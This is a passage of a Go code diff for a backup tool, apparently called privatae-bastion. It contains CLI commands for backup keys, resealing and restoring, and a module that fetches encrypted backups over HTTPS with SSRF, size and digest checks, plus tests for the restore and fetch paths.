return errors.New(backupUsage)
}
return cmdBackupDecide(host, rest[0], args[0] == "approve")
case "share":
flags, rest := backupFlags(args[1:], "--with", "--from", "--dir")
if len(rest) != 0 || flags["--with"] == "" || (flags["--from"] == "") == (flags["--dir"] == "") {
return errors.New(backupUsage)
}
return cmdBackupShare(flags["--with"], flags["--from"], flags["--dir"])
case "shares":
flags, rest := backupFlags(args[1:], "--with")
if len(rest) != 0 || flags["--with"] == "" {
return errors.New(backupUsage)
}
return cmdBackupShares(flags["--with"])
case "unshare":
flags, rest := backupFlags(args[1:], "--with")
if len(rest) != 1 || flags["--with"] == "" {
return errors.New(backupUsage)
}
return cmdBackupUnshare(flags["--with"], rest[0])
case "restore-plan":
flags, rest := backupFlags(args[1:], "--dir", "--stamp", "--to", "--out", "--identity")
if len(rest) != 0 || flags["--dir"] == "" {
return errors.New(backupUsage)
}
return cmdBackupRestorePlan(flags)
}
return errors.New(backupUsage)
}
// backupFlags splits `--name value` pairs (only the names given) from the
// positional arguments.
func backupFlags(args []string, names ...string) (map[string]string, []string) {
known := map[string]bool{}
for _, n := range names {
known[n] = true
}
out := map[string]string{}
var rest []string
for i := 0; i < len(args); i++ {
if known[args[i]] && i+1 < len(args) {
out[args[i]] = args[i+1]
i++
continue
}
rest = append(rest, args[i])
}
return out, rest
}
func cmdBackupKeyInit(replace bool, label string) error {
if label == "" {
label, _ = os.Hostname()
}
if len(label) > 120 || strings.ContainsAny(label, "\n\r\t\x00") {
return errors.New("--label must be one short line")
}
k, err := backupKeyInit(replace)
if err != nil {
return err
}
reg, _ := json.Marshal(map[string]string{"kind": "bastion", "label": label, "pubkey_b64": k.PubB64})
fmt.Println("This bastion's backup key is made and kept here only:", k.Path)
fmt.Println()
fmt.Println(" fingerprint: ", k.Fingerprint)
fmt.Println(" age recipient:", k.Recipient)
fmt.Println()
fmt.Println("Register it on your host (Settings > Backup > keys) with these three fields:")
fmt.Println(" kind: bastion")
fmt.Println(" label: ", label)
fmt.Println(" public key:", k.PubB64)
fmt.Println(" (as JSON:", string(reg)+")")
fmt.Println()
fmt.Println("From the host's next backup on, this key opens your backups, and this bastion can")
fmt.Println("hand a restoring host the key to one of them. Keep a copy of the key file")
fmt.Println("somewhere safe: without it (or another key you registered), those backups")
fmt.Println("cannot be opened.")
return nil
}
func cmdBackupKeyShow() error {
active, all, err := backupKeysLoad()
if err != nil {
return err
}
if len(all) == 0 {
fmt.Println("no backup key on this machine — make one with `privatae-bastion backup key init`")
return nil
}
for _, k := range all {
state := "older key (still opens the backups made with it)"
if active != nil && k.Fingerprint == active.Fingerprint {
state = "current key"
}
fmt.Printf("%s %s\n public key: %s\n age recipient: %s\n made: %s\n key file: %s\n\n",
k.Fingerprint, state, k.PubB64, k.Recipient, k.CreatedAt, k.Path)
}
return nil
}
func backupIDs(identityFile string) ([]age.Identity, error) {
if identityFile != "" {
return identitiesFromFile(identityFile)
}
return backupIdentities()
}
func cmdBackupReseal(sidecarFile, to, stamp, out, identityFile string) error {
ids, err := backupIDs(identityFile)
if err != nil {
return err
}
r, err := parseBackupRecipient(to)
if err != nil {
return err
}
raw, err := os.ReadFile(sidecarFile)
if err != nil {
return err
}
sealed, sc, err := resealSidecar(raw, ids, r, stamp)
if err != nil {
return err
}
if out == "" {
pub, _ := recipientRaw(r)
out = sc.Stamp + ".key.resealed-" + backupKeyFingerprint(pub) + ".age"
}
f, err := os.OpenFile(out, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0o600)
if err != nil {
return fmt.Errorf("cannot write %s: %w", out, err)
}
if _, err := f.Write(sealed); err != nil {
_ = f.Close()
return err
}
if err := f.Close(); err != nil {
return err
}
fmt.Printf("the key to the backup of %s is sealed to %s in %s\n", sc.Stamp, r.String(), out)
return nil
}
// ── restoring a lost host ───────────────────────────────────────────────────
type backupListing struct {
Stamp string `json:"stamp"`
Data string `json:"data,omitempty"`
Bytes int64 `json:"bytes"`
Sidecar string `json:"sidecar,omitempty"`
}
func listBackupDir(dir string) ([]backupListing, error) {
entries, err := os.ReadDir(dir)
if err != nil {
return nil, err
}
m := map[string]*backupListing{}
for _, e := range entries {
mm := backupFileRe.FindStringSubmatch(e.Name())
if mm == nil || !e.Type().IsRegular() {
continue
}
l := m[mm[1]]
if l == nil {
l = &backupListing{Stamp: mm[1]}
m[mm[1]] = l
}
p := filepath.Join(dir, e.Name())
if mm[2] == "tar.zst.age" {
fi, _ := e.Info()
l.Data = p
if fi != nil {
l.Bytes = fi.Size()
}
} else {
l.Sidecar = p
}
}
var out []backupListing
for _, l := range m {
out = append(out, *l)
}
sort.Slice(out, func(i, j int) bool { return out[i].Stamp > out[j].Stamp })
return out, nil
}
func cmdBackupRestorePlan(flags map[string]string) error {
list, err := listBackupDir(flags["--dir"])
if err != nil {
return err
}
if flags["--stamp"] == "" {
if len(list) == 0 {
fmt.Println("no backups in", flags["--dir"])
return nil
}
fmt.Println("backups in", flags["--dir"], "(newest first):")
for _, l := range list {
note := ""
switch {
case l.Data == "":
note = " (sidecar only — the backup file itself is not here)"
case l.Sidecar == "":
note = " (no sidecar here, so it cannot be resealed)"
}
fmt.Printf(" %s %d bytes%s\n", l.Stamp, l.Bytes, note)
}
fmt.Println()
fmt.Println("To restore one onto the host that replaces a lost one, run again with")
fmt.Println(" --stamp <stamp> --to <the new host's key, from its Settings > Backup > Restore>")
return nil
}
if flags["--to"] == "" {
return errors.New("say which host the backup is for: --to <the new host's key>")
}
var pick *backupListing
for i := range list {
if list[i].Stamp == flags["--stamp"] {
pick = &list[i]
}
}
if pick == nil || pick.Sidecar == "" {
return fmt.Errorf("no backup of %s with a sidecar in %s", flags["--stamp"], flags["--dir"])
}
out := flags["--out"]
if err := cmdBackupReseal(pick.Sidecar, flags["--to"], pick.Stamp, out, flags["--identity"]); err != nil {
return err
}
fmt.Println()
fmt.Println("Next, on the new host: Settings > Backup > Restore > use a resealed key, and give it")
fmt.Println("that file. The new host then needs the backup file of", pick.Stamp+":")
fmt.Println(" - in platform storage or your own S3 bucket, a new host finds it only if it has the")
fmt.Println(" same host number as the lost one;")
if pick.Data != "" {
fmt.Println(" - from this machine: pair this bastion with the new host, and share this folder")
fmt.Println(" with it (privatae-bastion backup share --with <new host> --dir <this folder>);")
fmt.Println(" the new host then lists it and asks this bastion to send it.")
}
fmt.Println()
fmt.Println("The host that restores it has to exist first. Running one on hardware you own needs")
fmt.Println("infrastructure this bastion does not provide: see \"Restoring a lost host\" in the README.")
return nil
}
// ── sharing a folder with another pairing ───────────────────────────────────
func pairingByName(name string) (*Config, error) {
cfgs, err := loadPairings()
if err != nil {
return nil, err
}
cfg, err := findPairing(cfgs, name)
if err != nil {
return nil, err
}
if cfg == nil {
return nil, fmt.Errorf("no pairing matches '%s' — paired hosts:\n %s", name, strings.Join(hostNames(cfgs), "\n "))
}
return cfg, nil
}
func cmdBackupShare(with, from, dir string) error {
reader, err := pairingByName(with)
if err != nil {
return err
}
root := reader.backupRoot()
if root == "" {
return fmt.Errorf("%s has no backup folder on this machine", reader.HostName)
}
label := dir
if from != "" {
src, err := pairingByName(from)
if err != nil {
return err
}
if dir = src.backupRoot(); dir == "" {
return fmt.Errorf("%s has no backup folder on this machine", src.HostName)
}
label = src.HostName
} else {
label = filepath.Base(filepath.Clean(dir))
}
if why := backupRootProblem(reader.HostName, root); why != "" {
return errors.New(why)
}
s, err := addBackupShare(reader.HostName, root, dir, label)
if err != nil {
return err
}
fmt.Printf("%s can now list the backups in %s as shared/%s, and ask this bastion to send\n", reader.HostName, s.Dir, s.Slug)
fmt.Printf("them to it. It cannot write there. Take it back with: privatae-bastion backup unshare --with %s %s\n", with, s.Slug)
return nil
}
func cmdBackupShares(with string) error {
reader, err := pairingByName(with)
if err != nil {
return err
}
list := sharesFor(reader.HostName)
if len(list) == 0 {
fmt.Println("no folders are shared with", reader.HostName)
return nil
}
for _, s := range list {
fmt.Printf("shared/%s %s (shared %s)\n", s.Slug, s.Dir, s.Added)
}
return nil
}
func cmdBackupUnshare(with, slug string) error {
reader, err := pairingByName(with)
if err != nil {
return err
}
if err := dropBackupShare(reader.HostName, strings.TrimPrefix(slug, "shared/")); err != nil {
return err
}
fmt.Println("taken back:", reader.HostName, "can no longer list or send the backups in shared/"+strings.TrimPrefix(slug, "shared/"))
return nil
}
+52
View File
@@ -0,0 +1,52 @@
package main
// Gate: restoring a lost host from a backup kept on this machine reseals the
// chosen backup's key to the new host and to nothing else, and refuses a
// backup it cannot find.
import (
"bytes"
"os"
"path/filepath"
"strings"
"testing"
"filippo.io/age"
)
func TestRestorePlanResealsTheChosenBackupForTheNewHost(t *testing.T) {
fx := newBackupFixture(t, "")
dir := t.TempDir()
_ = os.WriteFile(filepath.Join(dir, fixtureStamp+".key.age"), fx.sidecar(t), 0o600)
_ = os.WriteFile(filepath.Join(dir, fixtureStamp+".tar.zst.age"), []byte("ciphertext"), 0o600)
_ = os.WriteFile(filepath.Join(dir, "20260101T000000Z.tar.zst.age"), []byte("no sidecar"), 0o600)
l, err := listBackupDir(dir)
if err != nil || len(l) != 2 || l[0].Stamp != fixtureStamp || l[0].Sidecar == "" || l[1].Sidecar != "" {
t.Fatalf("listing: %v %+v", err, l)
}
newHost, _ := age.GenerateX25519Identity()
out := filepath.Join(t.TempDir(), "resealed.age")
flags := map[string]string{"--dir": dir, "--stamp": fixtureStamp, "--to": newHost.Recipient().String(),
"--out": out, "--identity": fx.recoveryFile}
if err := cmdBackupRestorePlan(flags); err != nil {
t.Fatal(err)
}
sealed, err := os.ReadFile(out)
if err != nil {
t.Fatal(err)
}
if got := armorOpen(t, sealed, newHost); !bytes.Equal(got, fx.plain) {
t.Fatal("the new host received a different record")
}
// Never overwrites a file already there.
if err := cmdBackupRestorePlan(flags); err == nil {
t.Fatal("a second reseal overwrote the first")
}
flags["--stamp"] = "20260101T000000Z"
flags["--out"] = filepath.Join(t.TempDir(), "x.age")
if err := cmdBackupRestorePlan(flags); err == nil || !strings.Contains(err.Error(), "with a sidecar") {
t.Fatalf("a backup with no sidecar was not refused as such: %v", err)
}
}
+548
View File
@@ -0,0 +1,548 @@
package main
// backup_fetch — the bastion PULLS a backup artifact onto the user's own machine.
//
// WHY PULL AND NOT PUSH, measured rather than assumed. The obvious route was
// ctx_put: it already writes a blob under a sandboxed root and it is already
// granted. It cannot carry a backup. The whole management job is ONE WebSocket
// frame (`C` + JSON of {op,args}, the host's mgmt worker)
// and the payload rides inside args[1] as base64, so nothing streams and the
// bytes are buffered whole on both sides. Measured (ctxcap_measure_test.go):
// the frame crosses the host's 16 MiB WebSocket frame ceiling — its live
// limit, since nothing overrides the server default — at just under 12 MiB of
// plaintext. A 13 GiB export (a real entity's tree) is 1,110 sequential
// dispatches, each one job per
// worker connection, against a 30 s host-side dispatch timeout. Chunking that
// would be a file-transfer protocol written on top of a command channel.
//
// So the host sends a short-lived signed URL and a digest, and this machine
// fetches it over its OWN internet connection, streaming to disk with constant
// memory. The artifact is already encrypted, to keys the platform does not hold,
// before it leaves the host, so the URL is not a
// secret worth much and the bytes are not readable in flight by anyone.
//
// ASYNC, because the host cannot wait. The host's management dispatch has a
// 30 s timeout; a multi-gigabyte download does not finish inside that. `start`
// validates, spawns, and returns a job id immediately; `status` reports
// progress. Each call is its own short dispatch. (The 25 s mgmtCmdTimeout in
// mgmt.go does NOT apply here — it wraps only the p8 shell exec path.)
//
// WHAT THIS REFUSES, and why each one is here rather than assumed safe:
// * a non-HTTPS URL — the digest would still catch tampering, but there is no
// reason to fetch a backup in the clear;
// * a URL that resolves to this machine or to a private/link-local address —
// the host chooses this URL, and this process sits INSIDE the user's
// network. Without the check, "fetch my backup" is a request the host can
// point at the user's router. The egress lane can already reach the LAN,
// but it is separately granted and separately audited; this op has no
// legitimate need, so it does not get the reach.
// * a body larger than the declared max — a hostile or buggy host must not be
// able to fill the user's disk;
// * a digest or length that does not match what arrived — verified BEFORE the
// file is put in place, so a truncated download never appears as a backup.
import (
"context"
"crypto/sha256"
"encoding/hex"
"encoding/json"
"fmt"
"io"
"net"
"net/http"
"net/url"
"os"
"path/filepath"
"strings"
"sync"
"syscall"
"time"
"github.com/gorilla/websocket"
)
const (
// A backup fetch is long by nature; this bounds a stall, not a big file.
backupFetchTimeout = 6 * time.Hour
// Nothing to do with the artifact size — this is the read buffer.
backupFetchChunk = 1 << 20
// Refuse anything the caller has not sized. Also the ceiling when the
// declared size is absurd: 512 GiB is far past any entity and still leaves
// the check meaningful.
backupFetchMaxBytes = 512 << 30
)
type backupJob struct {
ID string `json:"id"`
RPath string `json:"rpath"`
Want int64 `json:"want_bytes"`
SHA256 string `json:"sha256"`
Got int64 `json:"got_bytes"`
State string `json:"state"` // running | done | failed
Error string `json:"error,omitempty"`
Started string `json:"started_at"`
Finished string `json:"finished_at,omitempty"`
Path string `json:"path,omitempty"`
// Pruned is how many older backup files the arrival of this one retired
// from its folder (backupretention.go).
Pruned int `json:"pruned,omitempty"`
// root is the pairing's backup folder: a status call from another
// pairing reads this job as unknown, and a backup file that lands at its
// top is recorded as an arrival there.
root string
arrival bool
}
var (
backupJobsMu sync.Mutex
backupJobs = map[string]*backupJob{}
)
// backupRootPath is backupRoot without creating it: the folder this pairing's
// backups WOULD go to, for comparing pairings without touching the disk.
func (c *Config) backupRootPath() string {
if c.BackupRoot != "" {
return c.BackupRoot
}
d, err := os.UserConfigDir()
if err != nil {
return ""
}
return filepath.Join(d, "privatae-bastion", "backups", c.HostName)
}
// backupRoot returns the directory this bastion writes fetched backups into.
//
// Defaults to backups/<host_name> under the bastion's config dir, mirroring
// contextRoot() exactly — per host, because one daemon serves many and their
// artifacts must not mix. A user who wants them on a NAS sets `backup_root` in
// this pairing's config to the mount point; it is deliberately a local choice,
// because a destination the HOST could pick is not a sandbox.
//
// "" on any failure to resolve or create it, and the mgmt lane then refuses the
// op the same way it refuses ctx_* with no context store.
func (c *Config) backupRoot() string {
root := c.backupRootPath()
if root == "" {
return ""
}
if err := os.MkdirAll(root, 0o700); err != nil {
return ""
}
return root
}
type backupFetchReq struct {
Op string `json:"op"` // start | status
JobID string `json:"job_id"` // status
URL string `json:"url"` // start
RPath string `json:"rpath"` // start — relative, sandboxed under backupRoot
SHA256 string `json:"sha256"` // start — of the artifact as served
Size int64 `json:"size"` // start — expected bytes
MaxBytes int64 `json:"max_bytes"`
}
// handleBackupFetch serves both ops on the single `backup_fetch` job name, so
// the host-side allowlist grants one op rather than two.
func handleBackupFetch(ws *websocket.Conn, root string, args []string) {
if len(args) < 1 {
backupFail(ws, "backup_fetch: need a JSON argument")
return
}
var req backupFetchReq
if err := json.Unmarshal([]byte(args[0]), &req); err != nil {
backupFail(ws, "backup_fetch: argument is not JSON: "+err.Error())
return
}
switch req.Op {
case "status":
backupStatus(ws, root, req.JobID)
case "start", "":
backupStart(ws, root, req)
default:
backupFail(ws, "backup_fetch: unknown op "+req.Op)
}
}
// backupFail refuses with msg, with any signed URL's query taken out: a URL
// the host sent can end up quoted in an error, and its signature does not
// belong in a reply or a log.
func backupFail(ws *websocket.Conn, msg string) {
sendMgmt(ws, 'R', []byte(redactURLs(msg)+"\n"))
sendMgmtExit(ws, 1)
}
func backupOK(ws *websocket.Conn, v any) {
b, _ := json.Marshal(v)
sendMgmt(ws, 'O', b)
sendMgmtExit(ws, 0)
}
func backupStatus(ws *websocket.Conn, root, id string) {
backupJobsMu.Lock()
j, ok := backupJobs[id]
var snap backupJob
if ok {
snap = *j
}
backupJobsMu.Unlock()
// Another pairing's job reads exactly as a job this bastion never had.
if !ok || snap.root != root {
// A restart loses in-flight jobs. Say "unknown", not "failed": the host
// re-starts the fetch, which is idempotent on (rpath, sha256).
backupOK(ws, map[string]string{"state": "unknown", "id": id})
return
}
backupOK(ws, snap)
}
func backupStart(ws *websocket.Conn, root string, req backupFetchReq) {
abs, arrival, why := backupFetchDest(root, req.RPath)
if why != "" {
backupFail(ws, "backup_fetch: "+why)
return
}
if len(req.SHA256) != 64 {
backupFail(ws, "backup_fetch: sha256 must be 64 hex characters")
return
}
if _, err := hex.DecodeString(req.SHA256); err != nil {
backupFail(ws, "backup_fetch: sha256 is not hex")
return
}
// IDEMPOTENT, AND CHECKED BEFORE THE URL. If the artifact is already here
// and already correct, say done without fetching it again — a retry after a
// bastion restart, or a host that lost our reply, must not re-download
// gigabytes.
//
// The order matters and was wrong first time round (caught by
// TestBackupFetchIsIdempotent): validating the URL first meant a retry whose
// signed URL had since EXPIRED — or that arrived while DNS was down —
// re-failed even though the correct bytes were already sitting on disk. The
// local check is free and needs no network; do it first.
//
// The digest comes from what this bastion already knows about the file
// (the record of what it fetched, the hash cache) and is read from disk
// only for a file small enough to hash well inside one dispatch; a large
// file with no known digest is fetched again.
if sum, n, err := knownOrQuickHash(root, abs); err == nil && sum == strings.ToLower(req.SHA256) &&
(req.Size == 0 || n == req.Size) {
backupOK(ws, backupJob{ID: "already-present", RPath: req.RPath, State: "done",
Got: n, Want: n, SHA256: sum, Path: abs,
Finished: time.Now().UTC().Format(time.RFC3339)})
return
}
if err := validateBackupURL(req.URL); err != nil {
backupFail(ws, "backup_fetch: "+err.Error())
return
}
max := req.MaxBytes
if max <= 0 {
max = req.Size
}
if max <= 0 || max > backupFetchMaxBytes {
backupFail(ws, fmt.Sprintf(
"backup_fetch: size/max_bytes must be between 1 and %d", int64(backupFetchMaxBytes)))
return
}
id := newBackupJobID("bf")
job := &backupJob{ID: id, RPath: req.RPath, Want: req.Size, SHA256: strings.ToLower(req.SHA256),
State: "running", Started: time.Now().UTC().Format(time.RFC3339), root: root, arrival: arrival}
backupJobsMu.Lock()
backupJobs[id] = job
backupJobsMu.Unlock()
go runBackupFetch(job, req.URL, abs, max)
backupOK(ws, map[string]string{"id": id, "state": "running"})
}
func runBackupFetch(job *backupJob, rawURL, abs string, max int64) {
finish := func(state, errMsg, path string) {
backupJobsMu.Lock()
job.State, job.Error, job.Path = state, redactURLs(errMsg), path
job.Finished = time.Now().UTC().Format(time.RFC3339)
backupJobsMu.Unlock()
}
ctx, cancel := context.WithTimeout(context.Background(), backupFetchTimeout)
defer cancel()
req, err := http.NewRequestWithContext(ctx, http.MethodGet, rawURL, nil)
if err != nil {
finish("failed", err.Error(), "")
return
}
// Re-check every redirect hop: a signed URL that 302s to a private address
// would otherwise walk straight past the check done at start().
// THE ADDRESS DIALLED IS THE ADDRESS CHECKED. validateBackupURL resolves
// the name for the check and the transport would resolve it again for the
// dial — a rebinding name answers public to the first and private to the
// second. The dialer's Control hook sees the address actually connected
// to and refuses one that is not public (the same fix egress got).
dialer := &net.Dialer{Timeout: 30 * time.Second, Control: func(network, address string, _ syscall.RawConn) error {
host, _, err := net.SplitHostPort(address)
if err != nil {
return err
}
if ip := net.ParseIP(host); ip == nil || !backupDialAllowed(ip) {
return fmt.Errorf("refused: %s is on this machine or this network — a backup source must be a public address", host)
}
return nil
}}
// The default transport, cloned, with only the dial replaced — its TLS
// settings (and whatever the tests put in them) stay as they were.
transport := http.DefaultTransport.(*http.Transport).Clone()
transport.DialContext = dialer.DialContext
// NO PROXY. Through an environment proxy the hook would vet the proxy's
// address and the proxy would resolve the target itself, outside it; the
// backup source is fetched directly or not at all.
transport.Proxy = nil
client := &http.Client{
Transport: transport,
CheckRedirect: func(r *http.Request, via []*http.Request) error {
if len(via) >= 5 {
return fmt.Errorf("too many redirects")
}
return validateBackupURL(r.URL.String())
},
}
resp, err := client.Do(req)
if err != nil {
finish("failed", err.Error(), "")
return
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
// The status code is the diagnosis the user needs: 403 on a signed URL
// means it expired, which is a different problem from a 404.
finish("failed", fmt.Sprintf("source returned HTTP %d", resp.StatusCode), "")
return
}
if err := os.MkdirAll(filepath.Dir(abs), 0o700); err != nil {
finish("failed", err.Error(), "")
return
}
tmp, err := os.CreateTemp(filepath.Dir(abs), ".backup-*.part")
if err != nil {
finish("failed", err.Error(), "")
return
}
tmpName := tmp.Name()
defer os.Remove(tmpName) // no-op once renamed
if err := tmp.Chmod(0o600); err != nil {
_ = tmp.Close()
finish("failed", err.Error(), "")
return
}
h := sha256.New()
buf := make([]byte, backupFetchChunk)
var total int64
for {
n, rerr := resp.Body.Read(buf)
if n > 0 {
total += int64(n)
if total > max {
_ = tmp.Close()
finish("failed", fmt.Sprintf(
"source is larger than the declared %d bytes — stopped", max), "")
return
}
if _, werr := tmp.Write(buf[:n]); werr != nil {
_ = tmp.Close()
finish("failed", werr.Error(), "")
return
}
h.Write(buf[:n])
backupJobsMu.Lock()
job.Got = total
backupJobsMu.Unlock()
}
if rerr == io.EOF {
break
}
if rerr != nil {
_ = tmp.Close()
finish("failed", rerr.Error(), "")
return
}
}
if err := tmp.Sync(); err != nil {
_ = tmp.Close()
finish("failed", err.Error(), "")
return
}
if err := tmp.Close(); err != nil {
finish("failed", err.Error(), "")
return
}
// VERIFY BEFORE PUBLISHING. A truncated or substituted download must never
// end up sitting at the destination path looking like a backup.
got := hex.EncodeToString(h.Sum(nil))
if got != job.SHA256 {
finish("failed", fmt.Sprintf("sha256 mismatch: got %s, expected %s", got, job.SHA256), "")
return
}
if job.Want > 0 && total != job.Want {
finish("failed", fmt.Sprintf("size mismatch: got %d bytes, expected %d", total, job.Want), "")
return
}
if err := os.Rename(tmpName, abs); err != nil {
finish("failed", err.Error(), "")
return
}
// Record the arrival, then thin the folder now that a new backup is
// safely in it (backupretention.go). A failure of either is not a failed
// fetch: the backup arrived.
if job.arrival {
if err := recordArrival(job.root, filepath.Base(abs), got, time.Now()); err == nil {
if removed, err := pruneBackupRoot(job.root, filepath.Base(abs)); err == nil && len(removed) > 0 {
backupJobsMu.Lock()
job.Pruned = len(removed)
backupJobsMu.Unlock()
}
}
}
finish("done", "", abs)
}
// validateBackupURL is the SSRF wall. The host picks this URL and this process
// runs inside the user's network, so "https and not pointed at your own LAN" is
// the minimum. Every resolved address must be public — a name that resolves to
// one public and one private address is refused, because which one gets dialled
// is not ours to predict.
func validateBackupURL(raw string) error {
u, err := url.Parse(strings.TrimSpace(raw))
if err != nil {
return fmt.Errorf("url is not parseable: %w", err)
}
if u.Scheme != "https" {
return fmt.Errorf("url must be https (got %q)", u.Scheme)
}
host := u.Hostname()
if host == "" {
return fmt.Errorf("url has no host")
}
ips, err := backupLookupIP(host)
if err != nil {
return fmt.Errorf("cannot resolve %s: %w", host, err)
}
if len(ips) == 0 {
return fmt.Errorf("%s resolves to nothing", host)
}
for _, ip := range ips {
if !backupAddrAllowed(ip) {
return fmt.Errorf(
"%s resolves to %s, which is on this machine or this network — "+
"a backup source must be a public address", host, ip)
}
}
return nil
}
// backupLookupIP is net.LookupIP; a test answers for a name without DNS.
var backupLookupIP = net.LookupIP
// backupDialAllowed is the dial-time wall (backupAddrAllowed). A package var
// only so the fetch tests, which serve the artifact from a loopback test
// server, can let loopback through at the dial while keeping the wall on
// everything else in the same binary.
var backupDialAllowed = backupAddrAllowed
// backupAddrAllowed is the wall both backup lanes apply, to every address a
// name resolves to and again to the address dialled: a public address that is
// not this machine. A public address can still be this machine (one on its
// NIC, or a range a `local` route delivers here; ownaddr.go), and a service on
// 0.0.0.0 answers there. When the machine cannot tell, it refuses.
func backupAddrAllowed(ip net.IP) bool {
if !isPublicIP(ip) {
return false
}
own, err := ownDestination([]net.IP{ip})
return err == nil && !own
}
// isPublicIP classifies the address alone; whether it is this machine is
// backupAddrAllowed's question. It is the coder lane's classifier
// (coderInternalIP, coder_egress.go), so the backup lanes refuse what a coder
// run's proxy refuses: loopback, private, link-local, multicast, unspecified,
// CGNAT, ULA, 0.0.0.0/8, 198.18.0.0/15 and 240.0.0.0/4, site-local fec0::/10,
// IPv4-compatible ::/96 and IPv4-translated ::ffff:0:0/96, the 64:ff9b::/32
// NAT64 space beyond the well-known prefix, and a NAT64 64:ff9b::/96, 6to4
// 2002::/16 or IPv4-mapped address whose IPv4 address is any of those.
func isPublicIP(ip net.IP) bool {
return !coderInternalIP(ip)
}
func hashFile(path string) (string, int64, error) {
f, err := os.Open(path)
if err != nil {
return "", 0, err
}
defer f.Close()
h := sha256.New()
n, err := io.Copy(h, f)
if err != nil {
return "", 0, err
}
return hex.EncodeToString(h.Sum(nil)), n, nil
}
// quickHashMax is the largest file start hashes inside a dispatch: about a
// second or two of reading on ordinary disks, well inside the host's 30 s.
const quickHashMax = 512 << 20
// knownOrQuickHash is the digest of the file at abs from what this bastion
// already knows (the hash cache, the arrivals record), or read from disk when
// it is small; a large file with no known digest is an error.
func knownOrQuickHash(root, abs string) (string, int64, error) {
fi, err := os.Lstat(abs)
if err != nil {
return "", 0, err
}
if !fi.Mode().IsRegular() {
return "", 0, fmt.Errorf("not a file")
}
if sum := cachedHash(abs, fi); sum != "" {
return sum, fi.Size(), nil
}
if filepath.Dir(abs) == filepath.Clean(root) {
backupStateMu.Lock()
a, err := arrivalsLoadLocked(root)
backupStateMu.Unlock()
if err == nil {
if rec, ok := a.Files[filepath.Base(abs)]; ok && stillTheArrival(fi, rec) {
return rec.SHA256, fi.Size(), nil
}
}
}
if fi.Size() > quickHashMax {
return "", 0, fmt.Errorf("digest not known")
}
sum, n, err := hashFile(abs)
if err == nil {
noteHash(abs, fi, sum)
}
return sum, n, err
}
// backupFetchDest is where a fetch of rpath lands. A backup file
// (<stamp>.tar.zst.age, <stamp>.key.age) lands at the top of this pairing's
// own backup folder, whatever folder the host named: that is the one place
// thinning looks (backupretention.go) and the one place backup_list reads,
// so the host cannot scatter backups where they are never thinned. Anything
// else lands where the host named, inside the folder (cleanRel).
func backupFetchDest(root, rpath string) (string, bool, string) {
abs, ok := cleanRel(root, rpath)
if !ok {
return "", false, "path rejected"
}
if base := filepath.Base(abs); backupFileRe.MatchString(base) {
return filepath.Join(root, base), true, ""
}
return abs, false, ""
}
+63
View File
@@ -0,0 +1,63 @@
package main
// Gate: a fetch job is its pairing's own — random id, and a status call from
// another pairing reads it as unknown — and no job error or refusal quotes a
// signed URL's query.
import (
"encoding/json"
"regexp"
"strings"
"testing"
)
func TestBackupFetchStatusIsPerPairing(t *testing.T) {
stubPublicDNS(t)
root := t.TempDir()
out, errOut, code := drive(t, root, backupFetchReq{Op: "start", URL: "https://storage.example/o?sig=1",
RPath: fixtureData, SHA256: strings.Repeat("ab", 32), Size: 10})
if code != 0 {
t.Fatalf("start refused: %s", errOut)
}
var started struct {
ID string `json:"id"`
}
_ = json.Unmarshal([]byte(out), &started)
if !regexp.MustCompile(`^bf-[0-9a-f]{24}$`).MatchString(started.ID) {
t.Fatalf("job id %q is short enough to guess", started.ID)
}
backupJobsMu.Lock()
j := backupJobs[started.ID]
backupJobsMu.Unlock()
if j == nil {
t.Fatal("no job")
}
mine, _, _ := drive(t, root, backupFetchReq{Op: "status", JobID: started.ID})
if !strings.Contains(mine, started.ID) || strings.Contains(mine, `"unknown"`) {
t.Fatalf("the pairing that started it cannot read it: %s", mine)
}
theirs, _, _ := drive(t, t.TempDir(), backupFetchReq{Op: "status", JobID: started.ID})
var st map[string]string
if json.Unmarshal([]byte(theirs), &st) != nil || st["state"] != "unknown" || strings.Contains(theirs, "rpath") {
t.Fatalf("another pairing read this job: %s", theirs)
}
}
func TestBackupFetchErrorsCarryNoSignature(t *testing.T) {
root := t.TempDir()
// The dial wall is up: the connection is refused and the client's error
// quotes the URL.
job := &backupJob{ID: "s1", SHA256: strings.Repeat("00", 32), State: "running", root: root}
runBackupFetch(job, "https://127.0.0.1:1/b/x?X-Amz-Signature=SECRETSIG&X-Amz-Credential=CRED", root+"/x", 10)
if job.State != "failed" {
t.Fatalf("state %s", job.State)
}
if strings.Contains(job.Error, "SECRETSIG") || strings.Contains(job.Error, "CRED") || !strings.Contains(job.Error, "127.0.0.1") {
t.Fatalf("the job's error: %s", job.Error)
}
_, errOut, code := drive(t, root, backupFetchReq{Op: "start", URL: "https://a%zz/x?X-Amz-Signature=SECRETSIG",
RPath: fixtureData, SHA256: strings.Repeat("ab", 32), Size: 10})
if code == 0 || strings.Contains(errOut, "SECRETSIG") {
t.Fatalf("the refusal quotes the signature: %s", errOut)
}
}
+417
View File
@@ -0,0 +1,417 @@
package main
// Gate: backup_fetch delivers the right bytes to the right place, and refuses
// everything else. Each case is one way a backup could silently be wrong or one
// way the host could point this machine somewhere it has no business going.
import (
"crypto/sha256"
"encoding/hex"
"encoding/json"
"fmt"
"net"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"strings"
"testing"
"time"
"github.com/gorilla/websocket"
)
// drive runs one backup_fetch job through the real mgmt frame path and returns
// (stdout, stderr, exit) the way the host's management worker collects them.
func drive(t *testing.T, backupRoot string, req backupFetchReq) (string, string, int) {
t.Helper()
arg, _ := json.Marshal(req)
up := websocket.Upgrader{}
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
ws, err := up.Upgrade(w, r, nil)
if err != nil {
return
}
defer ws.Close()
handleMgmtConn(ws, "", "", backupRoot)
}))
defer srv.Close()
c, _, err := websocket.DefaultDialer.Dial("ws"+strings.TrimPrefix(srv.URL, "http"), nil)
if err != nil {
t.Fatalf("dial: %v", err)
}
defer c.Close()
job, _ := json.Marshal(mgmtJob{Op: "backup_fetch", Args: []string{string(arg)}})
if err := c.WriteMessage(websocket.BinaryMessage, append([]byte("C"), job...)); err != nil {
t.Fatalf("write: %v", err)
}
var out, errOut string
for {
_, data, err := c.ReadMessage()
if err != nil {
t.Fatalf("read: %v", err)
}
switch data[0] {
case 'O':
out += string(data[1:])
case 'R':
errOut += string(data[1:])
case 'X':
var code int
fmt.Sscanf(string(data[1:]), "%d", &code)
return out, errOut, code
}
}
}
func awaitJob(t *testing.T, backupRoot, id string) backupJob {
t.Helper()
